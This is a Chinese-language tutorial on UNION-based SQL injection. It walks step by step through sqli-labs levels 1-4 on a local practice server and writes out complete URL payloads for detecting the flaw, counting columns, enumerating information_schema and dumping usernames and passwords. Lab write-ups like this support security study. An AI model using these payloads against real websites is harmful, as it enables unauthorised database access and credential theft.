SQL注入学习之union联合查询注入

这篇具有很好参考价值的文章主要介绍了SQL注入学习之union联合查询注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Ps:文章若有逻辑不正确的地方望评论指正!


前言

Ps:此处描述本文主要内容:

  • 文章首先介绍了SQL注入的基本前提、原理及类型;
  • 其次着重描述了union联合查询注入方式;
  • 最后记录了在sqli-labs靶场的前4关中基于union联合查询注入的基本注入测试思路。

Ps:以下为正文内容,其中案例可供参考

一、SQL注入

1、前提条件

  • 前端用户传递到后端服务器的参数是可控的;
  • 传递的参数能够被代入到后端服务器中执行相关数据库操作指令。

Ps:通俗点讲就是当前想要进行SQL注入的Web界面是必须是动态网页,即前端数据与后端数据库进行交互,前端页面从后端获取数据信息进行显示。

2、攻击原理

  • 前端页面用户通过控制输入的参数信息,即输入特殊拼接的sql代码语句命令;
  • 后端数据库对前端用户输入的参数过滤规则等安全设置不严谨;
  • 致使后端获取到用户输入的恶意代码后当做后端正常的sql语句代码执行;
  • 最后导致系统泄露关键敏感信息、用户绕过系统登录验证并借助数据库存储过程进行提权。

3、主要注入类型

Ps1:按照数据类型分类
1)数字型
2)字符型
3)搜索型
Ps2:按照提交方式分类
1)GET型
2)POST型
3)Cookie型
4) Http请求头注入
Ps3:按照执行效果分类
1)报错注入
2)联合查询盲注
3)盲注
4) 堆查询注入

二、union联合查询注入

1、使用条件

  • 页面对不同的查询语句有不同的回显结果
  • 根据每一步的返回结果判断和进行下一步操作

2、基本流程

0)判断是否具有sql注入条件
1)判断sql注入漏洞是否存在及类型
2)判断sql查询字段数
3)判断回显点
4) 爆库名
5) 爆表名
6) 爆字段名
7) 爆数据

三、sqli-labs闯关笔记

1、Less-1 GET - Error based - Single quotes -String(基于错误的GET单引号字符型注入)

1) 判断是否存在sql注入条件、sql注入漏洞、sql注入类型

思路之攻击者视角:黑盒测试

  • 为了进行sql注入,首先我们需要判断该网页是否具有sql注入的前提条件之一:即是否是动态网页,前后端是否具有数据交互功能
     访问第一关初始主页,提示输入id参数,但是页面没有可输入点,猜测输入点在网页URL处
    SQL注入学习之union联合查询注入
     在网页URL后输入http://localhost:8888/Less-1/?id=1,页面回显得到两个数据信息,可知该网页是动态网页,具有sql注入的前提条件
    SQL注入学习之union联合查询注入
    思路之开发人员视角:白盒测试
    Ps:虽然真实情况下我们并不能看到,但初级学习阶段可以利用后端代码思考如何进行sql注入
  • 查看后端Less-1代码index.php
    可看到前端到后端的传参代码:该代码可以从前端页面获取用户输入的参数信息,并传送给后端Web服务器
    SQL注入学习之union联合查询注入
     可看到后端Web服务器中的关键sql查询语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1;可以看到开发人员在编写代码时获取到的用户参数外添加了字符‘’,因此我们可以根据此代码思考前端进行sql注入时拼接代码欺骗后端服务器该怎么输入相应的sql语句,使其能够在后端服务器中正确执行达到我们想要的执行效果。
     该段代码执行的即为后端代码如何利用获取到的前端页面传送的参数在数据库中进行sql查询校验,后端服务器根据校验结果返回给前端不同的页面信息。
    SQL注入学习之union联合查询注入

思路之回到攻击者视角:在了解完后端开发人员代码编写思路后,我们开始尝试进行sql注入

  • 方法步骤1:单引号判断法----最常用和基础的sql注入漏洞是否存在的判断方法,因为无论字符型还是整型都会因为单引号个数不匹配而报错。
     输入http://localhost:8888/Less-1/?id=1’,页面回显错误信息,发现可能存在语法漏洞
    SQL注入学习之union联合查询注入 进一步探索,输入http://localhost:8888/Less-1/?id=1’ -- -;页面回显正常,探测到可能后端开发人员的编码是‘’字符型传参
    SQL注入学习之union联合查询注入
  • 方法步骤2:布尔表达式(逻辑与为真和假两种情况)判断法:如果按照正常的逻辑能回显相应的页面,即表示存在sql注入点
     输入http://localhost:8888/Less-1/?id=1' and 1=1 -- -(逻辑与为真),页面回显正常
    SQL注入学习之union联合查询注入
     输入http://localhost:8888/Less-1/?id=1' and 1= 2 -- -(逻辑与为假),页面没有回显
    SQL注入学习之union联合查询注入
     由此判断该处具有sql注入点,且为字符型注入漏洞
  • 判断sql注入漏洞类型
    Ps:通常sql注入漏洞分为数字型和字符型两种,具体种类可通过布尔表达式的回显情况判断
     输入http://localhost:8888/Less-1/?id=1’ and ‘1’=’1注入,成功执行
    SQL注入学习之union联合查询注入
     输入http://localhost:8888/Less-1/?id=1’ and 1=1注入,执行失败
    SQL注入学习之union联合查询注入
     输入http://localhost:8888/Less-1/?id=1’ and 1=1 -- -注入,成功执行
    SQL注入学习之union联合查询注入
     可看出在加字符情况下回显正常,不加字符情况下回显错误,所以该处为字符型注入漏洞
     对应的后端服务器mysql执行语句:
    SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
    SELECT * FROM users WHERE id='' or 1=1 ---' LIMIT 0,1

2) 判断sql语句查询的属性字段数

方法:利用order by猜测和判断sql语句查询的属性字段数
判断列数的原因:

  • 限制因素:union函数进行联合查询的条件:union前面查询语句查询的元素需要和后面拼接的查询语句查询元素数量一致

order by能够判断列数的原因:

  • order by 即对查询的数据进行分组排序,分组排序依据为查询内容的属性,如若前面查询内容总属性为3,如果我们输入order by 4,后端代码执行时就会回显错误信息给前端页面,由此我们就能判断sql语句查询的属性列数。
     输入http://localhost:8888/Less-1/?id=1’ order by 3 #注入,成功执行
    SQL注入学习之union联合查询注入
     输入http://localhost:8888/Less-1/?id=1’ order by 4 -- -注入,执行失败,探测到sql语句查询属性列数为3
    SQL注入学习之union联合查询注入
     提示:此处猜测判断可通过二分法进行试错
     注意:这里突然多了中间的后端sql执行语句是因为在后端sql查询语句执行代码中添加了以下两行代码
    SQL注入学习之union联合查询注入
    echo $sql;
    echo "<br>";

3) 判断显示字段位

方法:利用联合函数 union 来查询回显的显示位:
目的:后端代码可能查询n个字段位数,但是显示给前端的只有m个字段位数(m<n),攻击者需要确定哪些位是能看到回显信息的,不然攻击时获取关键信息就很难受
 输入http://localhost:8888/Less-1/?id=-1’ union select 1,2,3 -- -发现回显出2,3字段位信息,接下来攻击者就可以利用 2,3位字段来显示攻执行sql注入以获取回显的各种数据库信息
SQL注入学习之union联合查询注入
Ps:设置id=-1’原因:我们发现前端页面只输出一条记录,因此攻击者利用联合查询函数时为了判断是哪几位可用,并输出到页面提示,就需要设置union前面的查询结果为假,这样自然数据库返回的就是后一条我们攻击者sql注入的查询结果;所以union后面使用selcet 1,2,3时,返回2,3即表示第2,3位为可用的显示位。

4) 爆数据库版本、数据库名

方法:联合利用数据库内置函数对数据库进行sql注入:此处利用了两个内置函数
version()函数:获取当前数据库版本信息
database()函数:获取当前数据库名
 输入http://localhost:8888/Less-1/?id=-1' union select 1,2,version() -- -爆出当前数据库版本号:5.7.26
SQL注入学习之union联合查询注入
Ps:通过此步可以判断数据库是否具有information_schema基本架构库:mysql5.0以上版本特有,5.0以下版本没有
 输入http://localhost:8888/Less-1/?id=-1' union select 1,2,database() -- -爆出当前数据库名:security
SQL注入学习之union联合查询注入

5) 爆数据库表名、数据库属性字段列名、关键敏感数据信息

方法:联合利用mysql数据库本身的information_schema库的三张关键表的关键字段进行sql注入
information_schema 库爆库语句:
union select group_concat(schema_name);涉及schemata表
information_schema 库爆表语句:
union select group_concat(table_name);涉及tables表:包含table_shema(数据库名)、table_name(数据表名)字段
information_schema 库爆属性字段语句:
union select group_concat(column_name);涉及columns表:包含table_schema、table_name、column_name(属性字段名)字段
 输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
爆出security数据库所有表名,并通过group_concat()函数将查询到的表名组合在一起并输出为一条数据:
SQL注入学习之union联合查询注入
 获取到所有表名后,选择可能包含敏感信息的表进行查询,比如users表。
 输入?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -爆出users表属性字段列名。
SQL注入学习之union联合查询注入
 输入?id=-1' union select 1,2,group_concat(username,'--',password) from security.users -- -爆出关键敏感数据信息
SQL注入学习之union联合查询注入
 或者也可输入?id=-1' union select1,group_concat(username),group_concat(password) from security.users -- -使用2,3位查询属性字段列表中的具体值信息
SQL注入学习之union联合查询注入

2、Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

SQL注入学习之union联合查询注入原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入漏洞、SQL注入类型

  • URL处输入?id=2,页面回显数据信息,判断出具有sql注入条件
    SQL注入学习之union联合查询注入
  • URL处输入?id=2’,页面回显错误信息,初步判断具有语法漏洞
    SQL注入学习之union联合查询注入
  • URL处输入?id=2’ #,页面回显错误信息
    SQL注入学习之union联合查询注入
  • URL处输入?id=2 #,页面回显正常数据信息
    SQL注入学习之union联合查询注入
  • URL处输入?id=2 and 1=1 #,页面回显正常数据信息
    SQL注入学习之union联合查询注入
  • URL处输入?id=2 and 1=2 #,页面无数据信息回显,判断出此处存在数字型SQL注入漏洞
    SQL注入学习之union联合查询注入
    2) 利用order by二分法探测sql查询属性字段列数
  • URL处输入?id=2 order by 5 #,页面回显错误信息
    SQL注入学习之union联合查询注入
  • URL处输入?id=2 order by 3 #,页面回显正确数据信息
    SQL注入学习之union联合查询注入
  • URL处输入?id=2 order by 4 #,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
    SQL注入学习之union联合查询注入
    3)利用union联合函数探测回显显示位
  • URL处输入?id=-2 union select 1,2,3 #,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
    SQL注入学习之union联合查询注入
    4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
  • URL处输入?id=-2 union select 1,version(),database() #页面2、3位分别回显数据库版本信息、数据库名
    SQL注入学习之union联合查询注入
  • 此外,通过数据库版本,我们可以获知接下来可以利用其特有的information_schema基础架构库
    5) 联合利用inforation_schema库tables表探测security数据库表名
  • URL处输入?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’seceurity’ #;可以看到页面第三位爆出securiy库中所有表名
    SQL注入学习之union联合查询注入
  • 根据爆出的所有数据表,我们针对性的挑选可能存在敏感信息的users表继续进行探测
    6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
  • URL处输入?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #;可以看到页面第三位爆出users表中所有属性字段列名
    SQL注入学习之union联合查询注入
    7) 探测数据库关键信息
  • URL处输入?id=-2 union select 1,group_concat(username),group_concat(password) from users #;页面2、3位爆出(username、password)关键敏感信息
    SQL注入学习之union联合查询注入

3、Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

SQL注入学习之union联合查询注入
原理和流程类似第一关

1) 判断是否具有SQL注入条件、是否具有SQL注入点、SQL注入类型
 URL处输入?id=3,页面回显数据信息,判断出具有sql注入条件
SQL注入学习之union联合查询注入
 URL处输入?id=3’,页面回显错误信息,初步判断具有语法漏洞
SQL注入学习之union联合查询注入 URL处输入?id=3’ #,页面回显错误信息
SQL注入学习之union联合查询注入
 URL处输入?id=3’) -- -,页面回显正常数据信息
SQL注入学习之union联合查询注入
 URL处输入?id=3’) and 1=1 -- -,页面回显正常数据信息
SQL注入学习之union联合查询注入
 URL处输入?id=3’) and 1=2 -- -,页面无数据信息回显,判断出此处存在(‘’)字符型SQL注入漏洞
SQL注入学习之union联合查询注入
2) 利用order by二分法探测sql查询属性字段列数
 URL处输入?id=3’) order by 5 -- -,页面回显错误信息
SQL注入学习之union联合查询注入
 URL处输入?id=3’) order by 3 -- -,页面回显正确数据信息
SQL注入学习之union联合查询注入
 URL处输入?id=3’) order by 4 -- -,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
SQL注入学习之union联合查询注入
3) 利用union联合函数探测回显显示位

 URL处输入?id=-3’) union select 1,2,3 -- -,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
SQL注入学习之union联合查询注入
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
 URL处输入?id=-3’) union select 1,version(),database() -- -页面2、3位分别回显数据库版本信息、数据库名
SQL注入学习之union联合查询注入
5) 联合利用inforation_schema库tables表探测security数据库表名
 URL处输入?id=-3') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -;可以看到页面第三位爆出securiy库中所有表名
SQL注入学习之union联合查询注入
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
 URL处输入?id=-3’) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -;可以看到页面第三位爆出users表中所有属性字段列名
SQL注入学习之union联合查询注入
7) 探测数据库关键信息
URL处输入?id=-3') union select 1,group_concat(username),group_concat(password) from users -- -;页面2、3位爆出(username、password)关键敏感信息
SQL注入学习之union联合查询注入

4、Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

SQL注入学习之union联合查询注入
原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入点、SQL注入类型
 URL处输入?id=4,页面回显数据信息,判断出具有sql注入前提条件
SQL注入学习之union联合查询注入
 URL处输入?id=4’,页面回显错误信息,初步判断具有语法漏洞
SQL注入学习之union联合查询注入
 URL处输入?id=4\ #,页面回显错误信息
SQL注入学习之union联合查询注入
 URL处输入?id=4”) -- -,页面回显正常数据信息
SQL注入学习之union联合查询注入
 URL处输入?id=4”) and 1=1 -- -,页面回显正常数据信息
SQL注入学习之union联合查询注入
 URL处输入?id=4”) and 1=2 -- -,页面无数据信息回显,判断出此处存在(“”)字符型SQL注入漏洞
SQL注入学习之union联合查询注入
2) 利用order by二分法探测sql查询属性字段列数
 URL处输入?id=4”) order by 5 -- -,页面回显错误信息
SQL注入学习之union联合查询注入
 URL处输入?id=4”) order by 3 -- -,页面回显正确数据信息
SQL注入学习之union联合查询注入
 URL处输入?id=4”) order by 4 -- -,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
SQL注入学习之union联合查询注入
3) 利用union联合函数探测回显显示位
 URL处输入?id=-4”) union select 1,2,3 -- -,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
SQL注入学习之union联合查询注入
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
 URL处输入?id=-4”) union select 1,version(),database() -- -页面2、3位分别回显数据库版本信息、数据库名
SQL注入学习之union联合查询注入
 此外,通过数据库版本,我们可以获知接下来可以利用其特有的information_schema基础架构库
5) 联合利用inforation_schema库tables表探测security数据库表名
 URL处输入?id=-4") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -;可以看到页面第三位爆出securiy库中所有表名
SQL注入学习之union联合查询注入
 根据爆出的所有数据表,我们针对性的挑选可能存在敏感信息的users表继续进行探测
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
 URL处输入?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -;可以看到页面第三位爆出users表中所有属性字段列名
SQL注入学习之union联合查询注入
7) 探测数据库关键信息
 URL处输入?id=-4") union select 1,group_concat(username),group_concat(password) from users -- -页面2、3位爆出(username、password)关键敏感信息
SQL注入学习之union联合查询注入文章来源地址https://www.toymoban.com/news/detail-409281.html

到了这里,关于SQL注入学习之union联合查询注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 二、SQL注入之联合查询

      SQL注入(Sql Injection)就是Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。 参数用户可控 :前端传入后端的参数内容是用户可以控制的。 参数

    2024年02月11日
    浏览(32)
  • SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

    数据来源         本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 介绍         联合查询注入是SQL注入的一种,通过在原有的SQL语句中添加UNION(联合)操作,将恶意构造的

    2024年02月06日
    浏览(54)
  • BUUCTF-sql注入联合查询的创建虚拟表-词频-steghide的使用

    第七周第三次 目录 WEB [GXYCTF2019]BabySQli [GXYCTF2019]BabyUpload Crypto 世上无难事 old-fashion ​Misc 面具下的flag 九连环 这是一道很新的题目 我们打开环境 发现登入注册界面 先看看源码有没有提示 发现有一个 php文件 进入看看 发现加密 先base32 再64  发现就是很简单的字符型注入 开始

    2023年04月13日
    浏览(52)
  • 五、多表查询-3.4连接查询-联合查询union

    1、查询薪资低于5000的员工  2、查询年龄大于50岁的员工  3、将薪资低于5000的员工,和 年龄大于50岁的 员工全部查询出来(把上面两部分的结果集直接合并起来)  4、 去重 ,“鹿杖客”既薪资低于5000,年龄也大于50岁,所以有两条数据 union all 改为 union,即可去重    5、

    2024年02月11日
    浏览(60)
  • Hive(24):Select高级查询之Union联合查询

    1 语法规则 UNION用于将来自多个SELECT语句的结果合并为一个结果集。语法如下: 使用DISTINCT与只使用UNION默认值效果一样,都会删除重复行。 使用ALL,不会删除重复行,结果集包括所有SELECT语句的匹配行(包括重复行)。 1.2.0之前的Hive版本仅支持UNION ALL,在这种

    2024年02月13日
    浏览(41)
  • 浅谈SQL注入中的-1‘ union select 1,2,3#

    集成环境:phpstudy pro Apache:2.4.39 MySQL:5.7.26 数据库工具:SQL_Front 靶场:Metasploitable2 对于 -1\\\' union select 1,2,3# 这条SQL注入语句,如果从功能作用上进行划分的话,我们可以将该语句分为四部分来看,第一部分是 -1 ,第二部分是 ’ (单引号)和#,第三部分是 union ,第四部分是

    2024年02月02日
    浏览(43)
  • DVWA中SQL注入时union出错,union排序混乱(Illegal mix of collations for operation UNION)

    目录 union排序错误 解决方式 问题:当你sql注入查询数据库表时,跳转到某个页面显示Illegal mix of collations for operation UNION 原因:说明你的union字符规则不一致导致的 小皮里安装phpMyAdmin4.8.5(Mysql管理工具) 找到数据库里的dvwa里的数据表名users,在结构里找到first_name和last_nam

    2024年02月05日
    浏览(63)
  • 【postgresql 基础入门】多表联合查询 join与union 并,交,差等集合操作,两者的区别之处

    ​ 专栏内容 : postgresql内核源码分析 手写数据库toadb 并发编程 ​ 开源贡献 : toadb开源库 个人主页 :我的主页 管理社区 :开源数据库 座右铭:天行健,君子以自强不息;地势坤,君子以厚德载物. 入门准备 postgrersql基础架构 快速使用 初始化集群 数据库服务管理 psql客户

    2024年02月08日
    浏览(40)
  • SQL中的UNION和UNION ALL的区别及用法详解、“提高SQL查询效率:UNION和UNION ALL的比较、使用实例详解SQL中的UNION和UNION ALL操作符

    UNION 和 UNION ALL 都是 SQL 中用于将多个 SELECT 语句的结果合并成一个结果集的操作符。它们都适用于需要将多个表或查询结果合并在一起的情况。但是它们的行为略有不同。 UNION 和 UNION ALL 的区别在于, UNION 会将结果集合并成一个不含重复行的结果集,而 UNION ALL 则会保留所有

    2024年02月03日
    浏览(64)
  • 安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

    目录 一、sql注入原理  二、联合SQL注入的方法 1.总体的思路 (1)先进行闭合,进行报错 (2)进行逃逸 (3)外带数据 (4)获取库名 表名 列名 数据 (5)获取当前数据库中的数据 2.SQL注入测试 (1)先进行单双引号闭合,让页面出现页面报错 (2)然后看有几列,有两种方

    2024年02月13日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包